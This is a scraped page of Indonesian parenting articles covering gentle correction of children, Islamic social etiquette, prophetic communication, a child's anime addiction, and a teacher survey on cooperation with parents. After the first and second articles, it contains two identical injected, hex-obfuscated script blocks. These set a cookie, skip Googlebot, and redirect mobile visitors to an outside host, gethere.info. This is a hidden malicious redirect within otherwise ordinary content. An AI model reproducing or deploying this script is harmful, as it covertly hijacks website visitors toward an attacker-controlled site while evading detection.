Menegur dengan Hati Nurani

Oleh: Miftahul Jinan, Direktur Griya Parenting

Sebagai orang tua atau guru kita tentu akan menjumpai beberapa perilaku anak yang kurang baik. Tentunya menghadapi perilaku tersebut terpaksa kita harus menegurnya. Ada banyak jenis teguran yang sering dilakukan oleh orang tua, seperti dengan memukul atau membentak anak, menjelaskan dan mempertanyakan kepada anak tentang perilakunya dan lain sebagainya.

Ada satu jenis teguran yang dapat kita lakukan yang mampu menyentuh hari nurani anak-anak kita. Tentunya inilah cara yang paling ideal bagi kita di dalam menegur perilaku anak yang kurang baik. Saat anak meletakkan sampah di dalam kelas tidak pada tempatnya, kita dapat mengambil sampah tersebut tanpa bicara apapun kepada anak dan meletakkannya pada tempatnya. Anak yang melihat aktifitas kita merasa kurang enak hati melihat sampahnya justru diletakkan oleh gurunya.
Saat anak sedang bermain di rumah, kemudian adzan tanda waktu shalat terdengar, orang tua menunjukkan persiapan dirinya untuk segera pergi ke masjid. Anak yang melihat orang tuanya mempersiapkan diri ke masjid tidak nyaman jika tidak mengikuti orang tuanya.

Mungkin di antara kita akan membayangkan ini terlalu sulit untuk dilakukan oleh kita para orang tua dan guru. Apalagi anak ditegur menggunakan ucapan saja seringkali tidak melaksanakannya. Apalagi jika kita tegur dengan tanpa ucapan.
Kalau dapat saya sedikit menjelaskan tentang teguran hati nurani ini, memang cukup sulit untuk sampai tahapan teguran seperti ini, karena ini adalah teguran yang paling ideal yang dapat kita lakukan. Tetapi minimal kita mempunyai tujuan jauh, di suatu hari akan dapat mencapainya dengan baik.
Ada beberapa pra syarat yang harus kita lewati sehingga tahapan teguran paling ideal ini dapat kita laksanakan terhadap anak-anak kita, yaitu :
<ol>
<li>Orang tua dan guru harus membangun sebuah lingkungan yang mempermudah anak untuk melakukan aktifitas positif. Seperti lingkungan yang membiasakan untuk mematikan televisi setiap kali terdengar adzan. Maka akan sangat mudah bagi anak untuk ditegur nuraninya, dibandingkan sebuah lingkungan yang tetap menyalakan televisi walaupun adzan berkumandang</li>
<li>Orang tua dan guru membangun aktifitas positif dengan diskusi dan komunikasi yang baik antara orang tia dan anak. Bukan aktifitas yang dibangun dengan paksaan dan kekerasan. Sehingga anak-anak melakukan aktifitas tersebut dengan penuh kesadaran dan pemahaman yang baik</li>
<li>Aktifitas positif yang disempurnakan dengan contoh yang kuat dari orang tua, bukan aktifitas yang sulit bagi anak untuk mendapatkan contoh</li>
<li>Saat orang tua dan guru memberikan teguran hati nurani, muncul dari rasa cinta akan kebaikan perilaku anaknya. Bukan diliputi oleh kebencian akan perilaku anaknya yang kurang baik.</li>
</ol>
&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Membangun Etika Sosial Anak

Syaikh Ulwan dalam bukunya Tarbiyatul Aulad menyatakan bahwa setelah kita mulai membangun sifat dasar jiwa sosial dan melatih anak memelihara hak orang lain, kita perlu mengajarkan pada anak-anak kita berbagai macam etika sosial. Mengapa etika sosial penting untuk ditanamkan, sebab inilah wujud akhlaqul karimah yang didasari iman dan taqwa.

Ranah etika sosial yang perlu kita latih pada anak selanjutnya adalah etika dalam pergaulan sosial. Apa sajakah yang perlu kita latihkan pada anak kita, inilah poin-poin dari Syaikh Ulwan :

1. Mengucapkan salam ketika berjumpa, karena salam adalah doa. Jika masuk rumah mari ucapkan salam, jika sedang berkendara ucapkan salam pada orang yangg dikenal yangg kita temui sedang berjalan, jika kita berjalan meewati sekelompok orang sedang duduk ucapkan salam, dan selalu mengingatkan kita untuk segera menjawab salam yangg diucapkan orang lain.

"..maka apabila kamu memasuki rumah hendaklah kamu memberi salam kepada penghuninya.." (QS An Nur : 61)

"Hendaklah orang yg berkendaraan mengucap salam pada yg berjalan kaki, orang yg berjalan pd yg duduk, org yg sedikit pd yg orang yg banyak" (HR Asy Syaikani)

2. Meminta ijin ketika akan bertamu atau ketika akan melakukan sesuatu yang berkaitan dengan orang lain.Anak kita perlu dibiasakan mengetuk pintu jika mau masuk kamar ayah ibunya, perlu dibiasakan bilang permisi, ketika mau lewat. Atau juga minta ijin dalam menggunakan barang atau melakukan sesuatu. Contoh, bolehkah saya pake hape mama?, Abi, keluar sebentar, ke rumah teman, boleh ya?

"Dan apabila anak sampai umur baligh, maka hendaklah mereka minta ijin…"(QS An Nur : 59)

"Meminta ijin itu tiga kali, jika diijinkan, maka itu untukmu, jika tidak maka kembalilah" HR Abu Musa

3. Menahan suara agar tidak keras ketika bersin atau menguap. Untuk hal sekecil ini, kita perlu melatih anak agar tidak mengganggu orang lain.

"Sesungguhnya Allah menyukai bersin dan membenci menguap" (HR Muslim)
"Sesungguhnya Allah membenci suara keras pada waktu menguap dan bersin" HR Ibnu Sunni

"Apabila salah seorang diantara kalian menguap,hendaklah ia menutup mulut dg tangannya, sebab saat itu setan masuk" (HR Muslim)
4. Mendoakan orang yang bersin dan menguap. Sebagai bentuk perhatian kita pada orang tersebut.

"Apabila salah seorang diantara kamu bersin, maka hendaklah teman duduknya mendoakannya" (HR Ibnu Sunni)

5. Mengucapkan selamat setiap kali seseorang mendapat kebahagiaan. Ucapan selamat perlu dilakukan dengan pilihan kata dan doa yangg indah, dengan bahasa yangg lembut, dengan nada yangg hangat, ini penting sebab dengan cara ini kita telah menggembiarakan orang yg kita beri selamat.

"Barangsiapa bertemu saudaranya dengan membawa sesuatu yang disukainya utk menggembirakannya, niscaya Allah akan menggembirakannya pada hari kiamat" (HR Thabrani)

6. Mengunjungi ketika sakit. Anak2 kita perlu dibiasakan sejak kecil utk ini agar terbiasa merasakan penderitaan orang lain, sehingga ketika besar mereka punya motivasi utk berperan dlm msyarakat dlm suka maupun duka, bisa berbgai kegembiraan maupun kesusahan.

"Hak orang muslim dengan muslim lainnya ada lima : menjawab salam, menjenguk orang sakit, mengiringi jenazah, memenuhi undangan, &amp; mendokan orang bersin" (HR Bukhari)

"Tidak pernah Rasulullah mengunjungi seseorang yang sakit kecuali setelah tiga hari" (HR Ibnu Majah)

7. Bertakziah ketika sebuah keluarga ditimpa kematian salah satu anggota keluarganya. Anak perlu mendapat pengalaman untuk mendukung keluarga yang bersedih untuk bersabar, dan menghibur mereka.

"Barangsiapa bertakziah kepada seseorang yang terkena musibah, maka ia akan mendapatkan pahala yang setimpal" (HR Tirmidzi)

Sahabat, adalah penting untuk mendidik anak kita memiliki etika pergaulan sosial yang baik, sebab setiap kebaikan akan kembali pada anak-anak kita. Andaikan kita sebagai orang tua telah jauh dari anak, atau telah tiada anak-anak kita akan hidup dengan masyarakat luas dan kita bisa tenang jika telah membekalkan cara bergaul yang baik. Insya Allah anak-anak kita juga mendapatkan kebaikan dr lingkungan di sekitarnya.

Oleh : Ani Ch, penulis buku &amp; pemerhati pendidikan keluarga<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Berkomunikas ala Nabi Ibrahim Pada Anak

Oleh: Miftahul Jinan, Direktur Griya Parenting Indonesia

Pagi itu Ibrahim AS sudah mempunyai keyakinan akan perintah Allah untuk menyembelih putranya Ismail melalui mimpi beliau. Tetapi dalam benak beliau berkecamuk bagaimana cara menyampaikan kabar ini kepada putra tercintanya.
Akhirnya dari firman Allah dalam Al Quran kita mengetahui betapa agungnya cara beliau menyampaikan perintah itu, “Sesungguhnya aku bermimpi, didalam mimpiku aku meyembelihmu. Bagaimana pendapatmu?”
Tidak ada perintah dan tidak ada larangan, yang ada adalah memberi informasi dan bertanya.
Mari kita bawa teknik komunikasi Ibrahim AS ini  kepada konteks yang lainnya. Sebagai guru kita sering menjumpai siswa kita ramai dan kurang memperhatikan pelajaran yg kita sampaikan. Kita dapat menggunakan komunikasi ala Ibrahim AS. “Anak-anak kita saat ini sedang belajar, sikap apakah yang harus kita tunjukkan saat belajar?”.
Begitu pula saat kita menjadi orang tua dan menjumpai anak anak kita suka membuang sampah sembarangan, maka kita dapat menyampaikan, “Mas, disana tempat sampahnya atau Mas, di mana tempat sampahnya?”

Semoga kita bisa menjadi orang tua dan guru yang bisa meneladani para nabi dalam mendidik. Amiin. Selamat mencoba.

Dibalik Kecanduan Anime Anak

Oleh: Ani Ch, Penulis Buku & Pemerhati Pendidikan Keluarga

Daffa kecanduan game. Sudah sejak umur dua tahun ia mengenal game, sekarang usianya menginjak empat tahun, Daffa bisa berjam-jam main tab nya, jika tab diambil maka Ia akan menangis sambil histeris, istilah psikologinya tantrum. Tidak ada yang kuat melihat tantrumnya, bukan hanya merusak barang, tapi juga ‘merusak’ dirinya sendiri, memukulkan tangan dan kaki ke lantai, juga ke meja, sampai membenturkan kepalanya ke tembok, maka demi keselamatan nyawa anak, tab selalu diberikan.

Pada umur tiga tahun Daffa telah diperiksakan ke dokter, Positif Autistic Syndrom Disorder (ASD)

Kecanduannya terhadap game adalah bagian dari keterpakuan yang biasa terjadi pada anak autis. Kasus anak yang lain, ada yang mengalami keterpakuan pada televisi, pada berada berputar seperti kipas angin, pada mobil-mobilan, dan masih banyak lagi.

Inilah contoh kecanduan gadget yg tidak bisa disodori dengan tata aturan gadget biasa, karena anak yang bersangkutan berkategoria kebutuhan khusus. ya kebutuhan khusus inilah yg perlu ditangani. Kecanduan hanya efeknya saja, bagaimana? Ikuti petunjuk profesional, terapi.

***

Ramli, 14 th, menangis pilu di pojok kamarnya, mamanya barusan menyita tabnya. Si mama begitu heraan anaknya selama ini jarang menangis, anak laki-laki pula, selalu jadi anak cuek, bandel, membantah orang tua dan guru setiap hari. Sekarang begitu tidak berdaya menangis terpekur hanya karena tabnya diambil. Setelah merayu dan merajuk tapi si mama kekeh tak kasih.

Si Ramli ternyata kecanduan anime. Hidupnya hanya untuk anime, kabur dari kelas buat lihat anime. Tidur larut malam karena nonton anime. Facebook twitter, bbm, youtube, semua isinya jaringan grup anime, Si Mama tak tahu, hari dimana tab itu diambil adalah hari releasenya episode terbaru dari season lanjutan seri anime favoritnya. Makanya Ramli menangis pilu, bak orang sakau gak dikasih narkoba.

Si Ramli akhirnya ditangani dalam beberapa sesi konseling, dan ternyata bukanlah anime persoalannya, anime hanyalah pelarian dari ketidakpuasan dia akan hidupnya. Hanya anime yang menghibur dia, hanya anime yang bikin dia semangat. mengikuti treatmen dengan terapis pun tak ada semangat, begitu terpaksa. Berkali-kali konseling, kata-kata yang keluar dari bibirnya tak pernah lebih dari sepulih kata, akhirnya saya bercerita dan dia yang mendengar. pada saat sesi penutup, ketika terapis diberi kesempatan masuk dalam hatinya, barulah dia angkat bicara. Saat diminta menuliskan harapannya pada selembar kertas, tak ada satupun ada kata anime, semua tentang keluarga, tak ingin adiknya nakal, tak ingin bunda ngomel, tak ingin ayah kerja jauh, juga hal-hal tentang masa depannya. “Anime kan hidupmu..kenapa gak ditulis” “Nggak penting kok”

Ramli kecanduan gadget dan menikmati anime karena ingin lari dari ketidakpuasan hidupnya dalam keluarga, keluarga yang otoriter, jadi Ia merasa kurang dipahami, kurang perhatian, kurang kasih sayang, maka solusinya bukan kecanduang anime yang diterapi, tapi masalah keluarganya lah yang harus diselesaikan.

Sumber: Pshyco Coffe Morning

 

 

Pendidikan Anak : Dari Guru untuk Orang Tua

<p style="text-align: left;"><a title="Dari Guru untuk Orang Tua" href="http://griyaparenting.com/blog/pendidikan-anak-dari-guru-untuk-orang-tua/">Dari Guru Untuk Orang Tua</a> – Sinergi, inilah barangkali kata pasti yang yang mesti didengungkan di antara <a title="Dari Guru untuk Orang Tua" href="http://griyaparenting.com/blog/pendidikan-anak-dari-guru-untuk-orang-tua/">orang tua dan guru</a> sebagai sebuah tim yang akan menyukseskan pendidikan anak-anak. Sebuah tim dikatakan mempunyai sinergis jika masing-masing anggota tim mempunyai kesamaan tujuan, adanya komunikasi yang intens dan setiap anggota mengetahui dan memahami peran masing-masing.
Berangkat dari kebutuhan tentang sinergitas di atas, "guru dan orang tua", kami telah melakukan pengumpulan data tentang harapan dan permohonan guru kepada orang tua terkait dengan optimalisasi proses pendidikan anak. Dengan informasi ini orang tua minimal mengetahui apa saja yang dapat membantu guru di dalam proses pendidikan tersebut dan apa saja yang harus dihindarkan oleh mereka.
<a title="Dari Guru Untuk Orang Tua" href="http://griyaparenting.com/blog/pendidikan-anak-dari-guru-untuk-orang-tua/"><img class="alignnone" style="border: 0px;" title="Sekolah Orang Tua : Dari Guru untuk Orang Tua" src="http://i57.tinypic.com/20q172u.jpg" alt="guru dan orang tua, pendidikan anak, guru, orang tua, griya parenting" width="298" height="225" border="0" /></a>
Sebagai responden dari data di atas adalah beberapa guru di SD Islam Al Hikmah, SDIT Insan Kamil, TKIT Insan Kamil, SD Islam At Taqwa dan SD Al Haq Sidoarjo.</p>
<strong>Sikap Ideal Orang Tua</strong>
Bagi beberapa guru yang telah kami jadikan responden, sikap yang paling baik bagi orang tua terkait proses pendidikan anak-anak mereka adalah sikap informatif dan komunikatif. Lebih dari 80 % responden menyebutkan sikap ini, karena bagi mereka sikap ini akan sangat mempermudah guru-guru untuk mendapatkan informasi sesungguhnya tentang anak. Ibarat seseorang yang tidak mau membeli kucing di dalam karung, maka mereka meminta penjual untuk membuka karung tersebut baru mereka akan mempertimbangkan harganya.
Dengan informasi yang lengkap dari orang tua, maka guru-guru akan lebih mudah melakukan penanganan terhadap anak. Mereka tidak sibuk lagi untuk membuka karung, karena orang tua telah mengeluarkannya dari dalam karung.
Selanjutnya sikap kedua yang paling banyak responden (guru) harapkan dari orang tua adalah kooperatif. Sikap kooperatif ini disebutkan oleh hampir 60 % dari seluruh responden. Bagi guru kerja sama orang tua di dalam mendidik anak adalah sebuah keniscayaan. Seorang responden bahkan menyebutkan mana bisa seorang anak yang mengalami masalah tentang kesulitan belajar, semua beban tersebut diberikan kepundak guru, padahal seringkali kesulitan belajar tersebut berangkat dari masalah di rumah.
Sikap ketiga yang paling sering disebut oleh responden (guru) adalah sikap perhatian. Sebanyak 30 % dari seluruh responden yang mengharapkan orang tua untuk lebih perhatian kepada anaknya. Seorang responden (guru) bahkan mengatakan ada orang tua yang seakan-akan menyerahkan seluruh pendidikan anak kepada guru, mengantar setiap hari putranya dan menjemputnya pada sore hari. Sementara waktu antara pukul 07.00-16.00 semua adalah tanggung jawab sekolah.
Beberapa sikap lain yang sempat disebut dan diharapkan oleh beberapa guru terhadap orang tua adalah kejujuran untuk memberikan informasi tentang anak, sabar menghadapi anak dan terbuka untuk menerima masukan dari guru.

<strong>Jenis Informasi</strong>
Bagi sebagian orang informasi bagaikan sebilah pedang yang tajam. Dengan pedang tersebut ia dapat melakukan tugasnya dengan lebih mudah dan lebih cepat. Beberapa manajer perusahan akan menunggu datangnya informasi akurat untuk membuat sebuah keputusan akhir. Begitu pula guru, sikap orang tua yang paling disenanginya adalah orang tua yang komunikatif dan informatif.
Kemudian jenis informasi apakah yang paling diharapkan guru dari orang tua? Jenis informasi yang paling dibutuhkan oleh sebagian besar guru dari wali murid adalah informasi tentang kebiasaan dan perilaku anak di rumah. Hampir mendekati 85 % dari responden menuliskan informasi tentang kebiasaan dan perilaku anak di rumah. Dengan informasi ini guru dapat menindaklanjutinya di sekolah. Ada beberapa anak yang mempunyai perangai santun di sekolah, namun di rumah peragai anak tersebut berubah sama sekali atau sebaliknya. Kondisi seperti inilah yang dapat ditindaklanjuti guru untuk dilakukan perbaikan dan dialog antara guru dan orang tua.
Informasi tentang belajar anak di rumah juga mendapatkan nilai yang tinggi dari para responden. Prosentasi untuk informasi ini mencapai 40 % responden (guru) menulisnya. Seorang guru menulis alasan untuk memilih informasi ini karena ia dapat memastikan bahwa anak didiknya dapat belajar di rumah dengan baik.
Beberapa informasi lain yang sempat ditulis beberapa guru adalah informasi tentang pelaksanaan ibadah anak di rumah, informasi tentang tanggung jawab dan <a title="Mendidik Anak Mandiri : Ibuku, Bodyguardku" href="http://griyaparenting.com/mendidik-anak-mandiri-ibuku-bodyguardku/">kemandirian</a> anak serta informasi tentang cara anak menghabiskan waktu libur di rumah.

<strong>Bantuan Orang Tua</strong>
Bagian inilah barangkali yang paling sulit disampaikan guru kepada para orang tua. Kelihatannya para guru tidak membutuhkan banyak bantuan dari orang tua, tetapi sebenarnya banyak hal yang dapat dilakukan orang tua untuk membantu guru di dalam proses pendidikan putra-putri mereka.
Lebih dari 35 % responden (guru) menuliskan bahwa bantuan yang paling mereka harapkan dari orang tua adalah melengkapi fasilitas belajar anak di sekolah. Fasilitas ini dapat berupa peralatan yang dipergunakan oleh putra-putri mereka secara pribadi, seperti kelengkapan buku pelajaran, pulpen dan lain-lain, maupun fasilitas sekolah secara umum. Beberapa sekolah belum mempunyai perpustakaan dengan jumlah buku yang memadai atau beberapa alat peraga untuk pembelajaran belum dimiliki sekolah tersebut. Uluran tangan orang tua untuk fasilitas sekolah masih sangat diharapkan, termasuk di sekolah yang sudah maju sekalipun.
Bantuan lain yang juga diharapkan guru dari orang tua walaupun dengan prosentasi hanya 25 % yang menulisnya adalah meningkatkan kesabaran di dalam mendidik putranya. Beberapa guru menangkap beberapa orang tua yang kurang sabar di dalam menghadapi sikap anak yang cenderung aktif. Sikap ini justru menghambat guru di dalam proses pendidikan anak-anak tersebut.
Beberapa jenis bantuan yang diharapkan guru walaupun dalam persentase yang lebih kecil adalah orang tua dimohon untuk lebih memahami karakter anak, selalu membimbing dan memotivasi mereka, dan melakukan kontrol terhadap program-program pembiasan positif di rumah.

<strong>PR Anak</strong>
Banyak orang tua menganggap bahwa putranya belum belajar jika belum mengerjakan PR dari gurunya, sehingga sebagian mereka selalu menuntut guru untuk memberikan PR bagi putra-putri mereka. Sebenanrya apa saja harapan dan himbauan guru untuk orang tua terkait dengan PR anak-anak?
Harapan guru tentang PR kepada orang tua adalah meminta orang tua untuk tidak mengerjakan PR anaknya. Jumlah responden (guru) yang menulis untuk tidak mengerjakan PR anak sebesar 55 % . Harapan ini supaya guru dapat mengetahui tentang pemahaman anak tersebut terhadap materi yang telah diajarkan, di samping supaya anak mempunyai sikap bertanggung jawab terhadap tugas yang diberikan kepadanya.
Sebesar 50 % dari responden (guru) yang menulis harapannya bagi orang tua untuk mendampingi dan memotivasi saat putra-putri mereka mengerjakan PR. Harapan ini tampaknya berangkat dari fenomena masih banyaknya anak yang belum mempunyai <a title="Mendidik Anak Mandiri : Ibuku, Bodyguardku" href="http://griyaparenting.com/mendidik-anak-mandiri-ibuku-bodyguardku/">kemandirian</a> dan tanggung jawab di dalam mengerjakan PR.
Beberapa harapan guru untuk orang tua terkait dengan PR anak adalah tidak menyalahkan di saat anak mengalami kesulitas di dalam mengerjakan PR, membuat kondisi rumah mendukung bagi belajar anak, dan orang tua diharapkan mengetahui tentang batasan mata pelajaran.

<strong>Buku Penghubung</strong>

Posisi Buku Penghubung antara <strong>guru dan orang tua</strong> ibarat posisi sebuah jembatan yang menghubungkan dua desa yang dipisahkan oleh sebuah sungai besar. Kedua desa tersebut sebenarnya dapat dihubungkan dengan perahu atau sampan kecil, namun dengan adanya jembatan hubungan lebih mudah untuk dilakukan
Namun demikian, tidak semua orang tua yang telah menggunakan buku penghubung sebagai jembatan komunikasi antara guru dan orang tua, sehingga tentang buku penghubung mayoritas responden (guru) menghimbau para orang tua untuk mengisi buku penghubung. Jumlah guru yang menulis himbauan ini adalah 75 %, hal ini memberi indikasi masih banyaknya orang tua yang belum mengisinya.
Himbauan lain yang cukup besar jumlah respondennya (65 %) terkait dengan buku penghubung adalah himbauan untuk cepat merespon catatan yang terdapat dalam buku penghubung. Himbauan ini penting karena sangat terkait dengan tindak lanjut yang harus segera dilakukan oleh orang tua dan guru terkait dengan perilaku anak.
Beberapa harapan lain terkait dengan buku penghubung adalah meminta orang tua untuk mengisinya setiap hari tidak seminggu sekali, keengganan orang tua untuk menyampaikan kejadian-kejadian penting terkait dengan aktivitas anak di rumah, dan mengisi buku penghubung yang tidak sesuai dengan kondisi anak sebenarnya.
Harapan dan Saran untuk Orang tua
Ada beberapa harapan dan saran yang sempat ditulis oleh responden (guru) untuk orang tua yang terkait dengan proses pendidikan putra-putri mereka, di antara harapan bagi orang tua adalah ;
<ol>
<li>Meningkatkan kesabaran saat berhadapan dengan anak, baik pada saat mendampingi anak ketika belajar, maupun menghadapi perilaku-perilaku aktif anak</li>
<li>Membangun sikap positif terhadap anak, sikap positif ini dapat berupa sikap percaya akan kemampuan anak, membiasakan perilaku-perilaku positif, dan meningkatkan kepercayaan diri anak</li>
<li>Sering melakukan konsultasi dengan pihak sekolah, terutama kepada guru tentang hal-hal yang kurang dipahami akan perilaku dan sikap anak</li>
